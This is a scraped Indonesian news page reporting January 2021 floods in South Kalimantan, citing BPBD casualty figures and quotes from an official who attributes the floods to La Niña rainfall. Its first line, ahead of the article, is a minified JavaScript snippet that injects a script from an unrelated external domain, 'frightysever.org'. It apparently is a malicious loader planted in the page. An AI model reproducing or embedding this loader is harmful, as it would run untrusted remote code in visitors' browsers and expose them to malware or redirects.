(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Tingginya curah hujan yang mengguyur Provinsi Kalimantan Selatan sejak mengawali tahun 2021, memicu terjadinya banjir di sejumlah wilayah kabupaten kota. Hingga pada Selasa (12/1/2021) siang, Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan mencatat setidaknya ada 5 wilayah yang mengalami banjir besar.
Adapun kelima wilayah tersebut adalah Kabupaten Tanah Laut, Kota Banjarbaru, Kabupaten Tabalong, Kabupaten Banjar, dan Kabupaten Tapin.
Berdasarkan data BPBD Kalsel, peristiwa banjir paling masif terjadi di Kabupaten Tanah Laut dengan jumlah korban terdampak saat ini sebanyak 16.248 jiwa. Mencangkup wilayah Kecamatan Bati-Bati, Tambang Ulang, Kurau, Bumi Makmur, Kintap, Jorong, serta Pelaihari yang merupakan pusat perkotaan daerah Tanah Laut.
Kendati demikian, Kepala Bidang Kedaruratan dan Logistik BPBD Provinsi Kalsel Abriansyah mengatakan untuk lokasi terparah terdampak banjir sebenarnya terjadi di Kabupaten Banjar, khususnya di Kecamatan Pengaron. Fakta ini merujuk atas kondisi debit air yang terus meningkat tiap jamnya.
“Di Pengaron itu banjirnya sangat parah. Debit air sampai saat ini belum surut. Kita melakukan monitoring khusus di sana. Pihak Basarnas juga secara langsung terjun ke lokasi terdampak untuk membantu proses evakuasi warga,” bebernya.
Banjir besar di Kecamatan Pengaron terjadi sejak Selasa dini hari. Mengakibatkan kurang lebih 1.500 rumah terendam dengan jumlah warga terdampak lebih dari 4.000 jiwa. Bahkan, tercatat ketinggian debit air pada Selasa (12/1/2021) pagi, sempat mencapai 2 meter atau melebihi tinggi orang dewasa.
Terkait kondisi ini, Abriansyah mengungkapkan pihaknya akan melakukan upaya penanganan khusus di wilayah Kabupaten Banjar. Mengerahkan seluruh fasilitas dan sarana yang dimiliki dengan menggandeng BPBD Banjar, TNI, Polri serta Basarnas.
“Saat ini kita fokus penanganan banjir di Kabupaten Banjar, karena debit air disana tidak kunjung surut. Ini sangat mengkhawatirkan. Bukan hanya di Pengaron saja, di Tunggul Irang (Martapura, red), Sungai Pinang juga demikian. Kita akan terus monitoring, memastikan warga terdampak mendapatkan layanan kesehatan dan suplai makanan,” terangnya.
Lantas, apa faktor utama penyebab banjir yang melanda sejumlah wilayah Kabupaten Kota di Kalsel? Dalam hal ini, Abriansyah menyebut semua tak lepas dari anomali iklim La Nina yang menyebabkan karena dampak peningkatan curah hujan.
“Peningkatan curah hujan telah terjadi di Kalsel. Penampung air seperti halnya embung di masing-masing kabupatan kota sudah tidak mampu lagi menahan tingginya curah hujan dan akhirnya meluber ke permukiman warga,” tandasnya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.